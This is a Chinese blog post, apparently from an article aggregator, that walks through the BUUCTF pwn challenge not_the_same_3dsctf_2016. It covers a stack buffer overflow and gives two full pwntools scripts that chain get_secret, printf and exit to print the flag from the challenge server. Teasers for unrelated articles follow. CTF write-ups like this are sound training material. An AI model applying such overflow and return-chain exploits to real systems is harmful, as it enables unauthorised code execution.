news 2026/4/3 7:52:15

buuctf中的not_the_same_3dsctf_2016

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的not_the_same_3dsctf_2016

首先checksec检查保护机制:

-32位程序

-仅开启了栈不可执行保护

然后使用IDA反汇编工具进行分析:

main函数中有栈溢出漏洞可利用,左边有get_secret函数,同时看出v4到栈底的偏移为45,原本需要填充49字节的垃圾数据,但是最终实验只需要45个字节的垃圾数据

这是get_secret函数内部:

这里打开了flag.txt文本文件,这几行代码的作用就是将flag.txt中的内容写入到fl4g这个变量中去,想就是flag了吧,但是发现我们还得自己去调用printf函数将fl4g的内容打印出来才能拿到flag

这里先拿到flag变量的地址:0x080ECA2D

get_secret函数的地址:0x080489A0

在IDA中找到printf函数的地址:0x0804F0A0

由于栈溢出执行完printf函数后需要正常退出才能打印出flag的值,所以还需用到exit函数的地址,同样在IDA中拿到:0x0804E660

这是exp攻击脚本:

payload需要先执行get_secret函数将flag读取到对应的变量中后我们再将这个变量的值printf出来

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 printf_addr = 0x0804F0A0 get_secret_addr = 0x080489A0 flag_addr = 0x080ECA2D exit_addr = 0x0804E660 offset = 45 payload = b'a'*offset + p32(get_secret_addr) +p32(printf_addr) + p32(exit_addr) + p32(flag_addr) io.sendline(payload) io.interactive()

在IDA中一个一个找函数的地址如果嫌太麻烦的话,攻击脚本还可以这样写:

from pwn import * context(arch='i386', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26609) # 与在线环境交互。 elf = ELF('./pwn') get_secret_addr = elf.symbols["get_secret"] printf_addr = elf.symbols["printf"] exit_addr = elf.symbols["exit"] flag_addr = 0x080ECA2D offset = 45 payload = b'a'*offset+p32(get_secret_addr)+p32(printf_addr)+p32(exit_addr)+p32(flag_addr) io.sendline(payload) io.interactive()

这是运行结果:

-成功打印出flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/26 0:34:21

全方位解析GroundingDINO推理性能:从入门到实战的硬件选择指南

全方位解析GroundingDINO推理性能:从入门到实战的硬件选择指南 【免费下载链接】GroundingDINO 论文 Grounding DINO: 将DINO与基于地面的预训练结合用于开放式目标检测 的官方实现。 项目地址: https://gitcode.com/GitHub_Trending/gr/GroundingDINO 还在为…

作者头像 李华
网站建设 2026/3/31 4:14:30

HeidiSQL完全指南:免费开源数据库管理神器终极教程

HeidiSQL完全指南:免费开源数据库管理神器终极教程 【免费下载链接】HeidiSQL HeidiSQL: 是一个免费且强大的 SQL 编辑器和数据库管理工具,支持 MySQL、PostgreSQL、SQLite 等多种数据库。适合数据库管理员和开发者使用 HeidiSQL 管理数据库和查询数据。…

作者头像 李华
网站建设 2026/4/1 12:36:49

ESP32智能手表DIY终极指南:从零打造你的专属智能穿戴设备

ESP32智能手表DIY终极指南:从零打造你的专属智能穿戴设备 【免费下载链接】ESP32-Smart-Watch 项目地址: https://gitcode.com/gh_mirrors/es/ESP32-Smart-Watch 想要拥有一块完全由自己掌控的智能手表吗?这款基于ESP32芯片的开源智能手表项目正…

作者头像 李华
网站建设 2026/4/3 5:53:27

当AI遇见文学:LoRA技术如何重塑中文网络小说创作生态

当AI遇见文学:LoRA技术如何重塑中文网络小说创作生态 【免费下载链接】Qwen3-4B Qwen3-4B,新一代大型语言模型,集稠密和混合专家(MoE)模型于一体。突破性提升推理、指令遵循、代理能力及多语言支持,自如切换…

作者头像 李华
网站建设 2026/4/1 21:51:55

EmotiVoice应用于电话客服系统的可行性分析

EmotiVoice在电话客服系统中的应用潜力与实践路径 想象这样一个场景:一位客户焦急地拨打客服热线,抱怨订单迟迟未发货。电话那头传来的声音没有机械的停顿和冰冷的语调,而是带着一丝歉意与关切:“非常抱歉耽误了您的时间&#xff…

作者头像 李华
网站建设 2026/3/14 2:23:42

5个理由告诉你为什么MenuMeters是Mac系统监控的终极选择

5个理由告诉你为什么MenuMeters是Mac系统监控的终极选择 【免费下载链接】MenuMeters my fork of MenuMeters by http://www.ragingmenace.com/software/menumeters/ 项目地址: https://gitcode.com/gh_mirrors/me/MenuMeters 在Mac使用过程中,你是否曾经想要…

作者头像 李华